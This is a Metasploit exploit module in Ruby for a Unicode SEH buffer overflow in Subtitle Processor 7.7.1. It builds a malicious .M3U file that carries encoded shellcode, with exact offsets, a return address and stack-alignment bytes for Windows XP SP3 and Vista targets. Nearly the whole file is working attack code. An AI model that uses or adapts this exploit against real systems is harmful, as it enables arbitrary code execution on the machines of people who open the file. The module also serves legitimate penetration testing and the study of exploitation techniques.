## # $Id: subtitle_processor_m3u_bof.rb 12461 2011-04-28 08:12:32Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in Subtitle Processor 7. By supplying a long string of data as a .m3u file, Subtitle Processor first converts this input in Unicode, which expands the string size, and then attempts to copy it inline on the stack. This results a buffer overflow with SEH overwritten, allowing arbitrary code execution. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12461 $", 'Author' => [ 'Brandon Murphy', #Initial discovery, poc 'sinn3r', #Metasploit ], 'References' => [ [ 'URL', 'http://sourceforge.net/projects/subtitleproc/' ], [ 'URL', 'http://www.exploit-db.com/exploits/17217/' ], ], 'Payload' => { 'BadChars' => "\x00\x0a\x0c\x0d\x1a\x3a\x5c\x80", 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'BufferRegister' => 'ECX', 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'ExitFunction' => "seh", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3', { 'Nop' => 0x43, #ADD BYTE PTR DS:[EBX],AL 'Offset' => 4078, #Offset to SEH chain 'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe) 'Max' => 5000, #Max buffer size }, ], [ 'Windows Vista SP0', { 'Nop' => 0x40, #ADD BYTE PTR DS:[EAX],AL 'Offset' => 4078, #Offset to SEH chain 'Ret' => 0x57b4, #Unicode compatible P/P/R (Subtitle.exe) 'Max' => 5000, #Max buffer size } ], ], 'Privileged' => false, 'DisclosureDate' => "Apr 26 2011" )) register_options( [ OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u']) ], self.class) end def get_unicode_payload(p) encoder = framework.encoders.create("x86/unicode_mixed") encoder.datastore.import_options_from_hash( {'BufferRegister'=>'ECX'} ) unicode_payload = encoder.encode(p, nil, nil, platform) return unicode_payload end def exploit #NOP between each instruction nop = target['Nop'] sploit = '' #Create the exploit if target.name =~ /XP/ #PUSH ESI / POP EAX / XOR AL,73 / INC EAX / XOR AL,C2 / XCHG EAX,ECX / JMP ECX alignment = "\x56\x58\x34\x73\x40\x34\xc2\x91\xff\xe1" tmp = alignment << payload.encoded p = get_unicode_payload(tmp) #4050 bytes for shellcode sploit << rand_text_alpha(2) #Padding sploit << p sploit << rand_text_alpha(target['Offset']-sploit.length) sploit << "\x61" sploit << nop sploit << [target.ret].pack('V*') sploit << nop sploit << "\x61" #POPAD sploit << nop sploit << "\x61" #POPAD sploit << nop sploit << "\x61" #POPAD sploit << nop sploit << "\x51" #PUSH ECX (for x86/unicode_mixed) sploit << nop sploit << "\x5e" #POP ESI (for AlphanumMixed BufferRegister=ECX) sploit << nop sploit << "\x51" #PUSH ECX sploit << nop sploit << "\xc3" #RETN sploit << rand_text_alpha(target['Max']-sploit.length) elsif target.name =~ /Vista/ # PUSH ESI / POP ECX / XOR CL,5F / XOR CL, 70 / INC ECX / XOR CL,FF / INC ECX / XOR CL,5F / XOR CL,4E / JMP ECX alignment = "\x56\x59\x80\xf1\x5f\x80\xf1\x70\x41\x80\xf1\xff\x41\x80\xf1\x5f\x80\xf1\x4e\xff\xe1" tmp = alignment << payload.encoded p = get_unicode_payload(tmp) #4008 bytes of space for shellcode sploit << rand_text_alpha(62) sploit << p sploit << rand_text_alpha(target['Offset']-sploit.length) sploit << "\x61" sploit << nop sploit << [target.ret].pack('V*') sploit << nop sploit << "\x61" sploit << nop sploit << "\x61" sploit << nop sploit << "\x5e" sploit << nop sploit << "\x5e" sploit << nop sploit << "\x5e" sploit << nop sploit << "\x5e" sploit << nop sploit << "\x56" sploit << nop sploit << "\x59" sploit << nop sploit << "\x56" sploit << nop sploit << "\xc3" sploit << nop sploit << rand_text_alpha(target['Max']-sploit.length) end #Generate file print_status("Creating #{datastore['FILENAME']}...") file_create(sploit) end end